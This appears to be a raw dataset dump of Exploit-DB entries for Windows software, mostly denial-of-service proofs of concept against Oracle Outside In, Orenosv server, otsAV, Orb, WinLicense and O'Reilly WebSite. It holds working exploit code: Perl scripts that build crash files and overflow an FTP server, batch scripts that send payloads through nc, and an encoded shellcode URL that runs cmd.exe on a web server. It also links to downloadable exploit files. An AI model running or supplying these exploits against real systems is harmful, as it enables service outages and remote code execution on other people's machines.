deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38789
Description: Oracle Outside In PDF 8.5.2 - Parsing Memory Corruption (2)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Oracle Outside In

Platforms:   Windows

Versions:   8.5.2

CVE:   CVE-2015-4878

Author:   Francis Provencher of COSIG

Twitter:   @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-06-09: Francis Provencher of COSIG found the issue;
2015-06-11: Francis Provencher of COSIG report vulnerability to Oracle SA;
2015-10-18: Oracle release a patch for this issue;

#####################################################################################

============================
3) Technical details
============================

A Use-After-Free memory corruption occured when Outside In decode (JBIG2Decode) a stream with an invalid image.

Successful exploitation of the vulnerabilities may allow execution of arbitrary code, but requires tricking a user into opening or previewing a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2015-003.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38789.zip

###############################################################################
Exploit-DB #19960
Description: Oracle Outside-In - '.FPX' File Parsing Heap Overflow
Type: dos
Platform: windows
Date: 2012-07-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Oracle Outside-In FPX File Parsing Heap Overflow
Version:   he vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-26

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-05-02 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the FPX graphic import filter (ibfpx2.flt) when processing FPX images can be exploited
to cause a heap-based buffer overflow via a specially crafted file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-26.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19960.fpx
Exploit-DB #19961
Description: Oracle Outside-In - '.LWP' File Parsing Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2012-07-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Oracle Outside-In LWP File Parsing Stack Based Buffer Overflow
Version:   The vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-25

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-07-03 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the LWPAPIN.DLL module when processing Lotus WordPro documents can be
exploited to cause a stack-based buffer overflow via a specially crafted file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-25.lwp
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19961.lwp
Exploit-DB #19962
Description: Oracle Outside-In JP2 - File Parsing Heap Overflow
Type: dos
Platform: windows
Date: 2012-07-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Oracle Outside-In JP2 File Parsing Heap Overflow
Version:   The vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-24

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-05-03 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the JP2 stream filter (vsjp2.dll) when copying the Quantization Default (QCD)
marker segment can be exploited to cause a heap-based buffer overflow via a specially
crafted JPEG2000 (JP2) file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-24.jp2
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19962.jp2
Exploit-DB #20655
Description: Orange Software Orange Web Server 2.1 - Denial of Service
Type: dos
Platform: windows
Date: 2001-02-27
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2432/info

A remote user can cause a denial-of-service condition in Orange Software Orange Web Server.

The attacker could submit a specially crafted GET request via a telnet connection to cause the server to crash.

A restart of the server is required to gain normal functionality. 

echo "GET A" | telnet target
Exploit-DB #11632
Description: Orb 2.0.01.0049 < 2.54.0018 - DirectShow Denial of Service
Type: dos
Platform: windows
Date: 2010-03-04
Author: Matthew Bergin

Exploit:
When Orb is first installed it registers several Direct Show filters with the system. When registered these filters are then called whenever a file which has a dependency on such a required filter is accessed. By specially crafting specific headers embedded into an mp3 file we can create a direct code path to code which is vulnerable to a integer division by zero. This vulnerability can be triggered remotely be embedding the crafted mp3 file into HTML. It is also not dependent on a certain media player. Attached is a PoC (Proof-Of-Concept) I wrote for this specific bug. Also included is a Rebuild file for IDA Pro examining the crash.

Download POC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33707.zip (aac_parser_int_div_by_0_orb.zip)

Timeline:

Discovery * 2/20/2010
Reported * 2/22/2010
Response * 2/22/2010
Additional Info Sent * 2/23/2010
Response * 2/23/2010
Response * 2/26/2010

Crash Confirmed * 3/03/2010

Patch date: Approx. 2 weeks
Expected: 3/19/2010
Exploit-DB #33707
Description: Orb Networks 2.54.18 - Orb Direct Show Filter '.MP3' File Divide-by-Zero Denial of Service
Type: dos
Platform: windows
Date: 2010-03-04
Author: Matthew Bergin

Exploit:
source: https://www.securityfocus.com/bid/38549/info

Orb Networks Orb is prone to a denial-of-service vulnerability when handling malformed '.mp3' files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33707.zip
Exploit-DB #18637
Description: Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption
Type: dos
Platform: windows
Date: 2012-03-21
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
#
# Oreans WinLicense v2.1.8.0 XML File Handling Unspecified Memory Corruption
#
#
# Vendor: Oreans Technologies
# Product web page: http://www.oreans.com
# Affected version: 2.1.8.0 (32/64bit)
#
# Summary: WinLicense combines the same protection-level as Themida with the
# power of advanced license control, offering the most powerful and flexible
# technology that allows developers to securely distribute trial and registered
# versions of their applications.
#
# Desc: WinLicense is prone to an unspecified memory corruption vulnerability.
# An attacker can exploit this issue by tricking a victim into opening a malicious
# XML file to execute arbitrary code and to cause denial-of-service conditions.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit)
#            Microsoft Windows 7 Ultimate SP1 (EN) (64bit)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2012-5080
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5080.php
#
#
# 20.03.2012
#
#

use strict;

my $file = "zsl.xml";
my $hit = "Joxy-\\x\\-Poxy";
print "\n\n[*] Creating $file file...\n";
open ZSL, ">./$file" || die "\nCan't open $file: $!";
print ZSL $hit;
print "\n[.] File successfully mounted!\n\n";
close ZSL;
Exploit-DB #20484
Description: OReilly WebSite 1.x/2.0 - 'win-c-sample.exe' Buffer Overflow
Type: dos
Platform: windows
Date: 1997-01-06
Author: Solar Designer

Exploit:
source: https://www.securityfocus.com/bid/2078/info

O'Reilly WebSite (Pro) is a Windows 95/NT Web Server package. Versions 2.0 and below contained a vulnerable sample script, win-c-sample.exe, placed by default in /cgi-shl/ off the web root directory. This program is vulnerable to a buffer overflow, allowing for execution of arbitrary commands on the host machine with the privileges of the web server. Consequences of successful exploitation could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. 

Windows NT (versions unspecified):
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10%
FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy
_\WebSite\readme.1st_\WebSite\htdocs\x1.htm

Windows 95:
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0
3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocsx1.htm

The example dos commands just copy the WebSite's readme.1st file, so you
can later check if the exploit worked by trying http://website.host/x1.htm.
Note that the server should respond to these exploits with an "Error: no
blank line separating header and data", because of the "1 file(s) copied"
message appearing without a blank line before it (which is required for
HTTP; if you need a command's output, you can redirect it to a file, and
get that file via HTTP with a separate request).
Exploit-DB #24146
Description: Orenosv HTTP/FTP Server 0.5.9 - GET Denial of Service (2)
Type: dos
Platform: windows
Date: 2004-06-02
Author: CoolICE

Exploit:
source: https://www.securityfocus.com/bid/10420/info
 
Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding.

@echo on
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   Orenosv Server
:Vendors:       http://home.comcast.net/~makataoka/orenosv060.zip
:Version:       <=0.6.0
:Platforms:     Windows
:Bug:           D.O.S
:Date:          2004-06-02
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target [port]&&goto :eof
;set PORT=9999
;if not '%2'=='' set PORT=%2
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe
echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

e 100 "GET / HTTP/1.0" 0D 0A
e 110 "Transfer-Encoding: Boy" 0D 0A 0D 0A
rcx
2A
nhttp.tmp
w
q
Exploit-DB #24147
Description: Orenosv HTTP/FTP Server 0.5.9 - GET Denial of Service (3)
Type: dos
Platform: windows
Date: 2004-06-02
Author: CoolICE

Exploit:
source: https://www.securityfocus.com/bid/10420/info
  
Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding.

@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   Orenosv FTP Server
:Vendors:       http://home.comcast.net/~makataoka//orenosv060.zip
:Version:       <=0.6.0
:Platforms:     Windows
:Bug:           D.O.S
:Date:          2004-06-02
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target [port]&&goto :eof
;set PORT=21
;if not '%2'=='' set PORT=%2
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe
echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

F 100 200 41
rcx
100
ndos.a
w
q


:run
nc %1 %PORT% < dos.a
del dos.a
Exploit-DB #25631
Description: Orenosv HTTP/FTP Server 0.8.1 - 'CGISSI.exe' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-05-09
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/13549/info

Orenosv HTTP/FTP server is prone to a remote buffer overflow vulnerability that affects 'cgissi.exe'.

This issue presents itself when the application handles excessive values supplied through an SSI command name.

A successful attack can result in memory corruption and can be leveraged to cause a denial of service condition or arbitrary code execution. Arbitrary code execution can result in a remote compromise in the context of the server.

Orenosv HTTP/FTP Server 0.8.1 is reportedly vulnerable, however, other versions may be affected as well. 

<!--#aaaaa... -->

Approx. 120 bytes of aaaaaa...
Exploit-DB #25629
Description: Orenosv HTTP/FTP Server 0.8.1 - FTP Commands Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2008-05-08
Author: Samsta

Exploit:
source: https://www.securityfocus.com/bid/13546/info

The FTP server shipped with Orenosv HTTP/FTP is prone to a remote buffer-overflow vulnerability.

This issue presents itself when the application handles excessive values supplied as filenames through various FTP commands.

A successful attack may corrupt memory, cause a denial of service, or execute arbitrary code.

Orenosv HTTP/FTP Server 0.8.1 is reportedly vulnerable; other versions may be affected as well. 

#!/usr/bin/perl
use IO::Socket;

$target = shift || useage ();
$port = shift || useage ();
$user = shift || useage ();
$pass = shift || useage ();

print"[*] Connecting to $target on port $port\n";
my $sock = IO::Socket::INET -> new
(
Proto => 'tcp',
PeerAddr => $target,
PeerPort => $port
)or die ("Cannot Connect, Have you already DoSed It?\n");
print"[*] Connected, Logging In...\n";
sleep 3;
$sock -> send ("USER $user\r\n");
sleep 3;
$sock -> send ("PASS $pass\r\n");
while ($data = <$sock>)
{
  if ($data =~ /230/)
  {
    print"[*] Logged In\n";
    last;
  }
}
print"[*] Creating 512-byte Buffer\n";
$buffer = 'A' x 512;
print"[*] Sending Exploit\n";
$sock -> send ("MKD $buffer\r\n");
print"[*] Exploit Sent\n";
exit;

sub useage ()
{
  print "Useage: $0 <Host> <Port> <Username> <Password>\n";
  exit;
}
#Coded By Samsta http://theshelljunkies.clawz.com
Exploit-DB #9228
Description: otsAV 1.77.001 - '.ofl' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-22
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# otsAV 1.77.001 (.ofl File) Local Heap Overflow PoC
# http://x.download.otszone.com/static/otsavfreesetup.exe
########################################################################################
##EAX 0123BB48
##ECX 01130210
##EDX 01130160
##EBX 41414141
##ESP 0012F22C
##EBP 0012F448
##ESI 0123BB40
##EDI 41414141
##EIP 7C91B3FB ntdll.7C91B3FB
#######################################################################################
##Thanks for shar7abel elsafa7\linuxX\and all 3asfh team$$$$$$$$$$$$$
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.OFL');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-22]
Exploit-DB #9090
Description: otsAV DJ 1.85.064 - '.ofl' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-09
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# all i want say welcom back 3asfh
# otsAV DJ 1.85.064 (.ofl File) Local Heap Overflow PoC
# http://x.download.otszone.com/static/otsavdjtrialsetup.exe
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.OFL');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-09]
Exploit-DB #9113
Description: otsAV DJ/TV/Radio - Multiple Local Heap Overflows (PoC)
Type: dos
Platform: windows
Date: 2009-07-10
Author: Stack

Exploit:
----------------------------------the first Poc------------------------------------
#!/usr/bin/perl
# OtsAv DJ [.olf] Local Heap Overflow Poc
# Down : http://serv-08.download.otszone.com/download.cgi/otsavdjtrialsetup.exe?A=13JTHRVWJLLLZ5JG2AYRNSMN%2DWJMQXDJKA%2DRFQ&otsavdjtrialsetup.exe
# Desc : 7000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# register of 7000 A'
# EAX 41414141
# ECX 00E5448C OtsAVDJt.00E5448C
# EDX 41414141
# EBX 00E54488 OtsAVDJt.00E54488
# ESP 02C6FE1C
# EBP 00E0D328 OtsAVDJt.00E0D328
# ESI 00000000
# EDI 0174C070 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# EIP 0046266C OtsAVDJt.0046266C
# register of 2000 A'
# EAX 41414141
# ECX 00001B05
# EDX 02FAF730
# EBX 0000042A
# ESP 02FAF9C8
# EBP 00000000
# ESI 020FAFEA
# EDI 02FAFEAA
# EIP 0043C8D7 OtsAVDJt.0043C8D7
use strict;
use warnings;
my $A= "\x41" x 7000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;
-------------------------------Second Poc-----------------------------------------------------

#!/usr/bin/perl
# OtsAv TV [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/tv/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 00009AF0
# EDX 03A0F730
# EBX 0000042A
# ESP 03A0F9C8
# EBP 00000000
# ESI 02CD7102
# EDI 03A0FEAA
# EIP 0043C8D7 OtsAVTVt.0043C8D7
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;
----------------------------------- 3 POC-------------------------------------------------
#!/usr/bin/perl
# OtsAv Radio [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/radio/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 0000CD32
# EDX 0224F730
# EBX 00000452
# ESP 0224F9C8
# EBP 00000000
# ESI 00C8E0EA
# EDI 0224FED2
# EIP 0043B497 OtsAVRDt.0043B497
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;

# milw0rm.com [2009-07-10]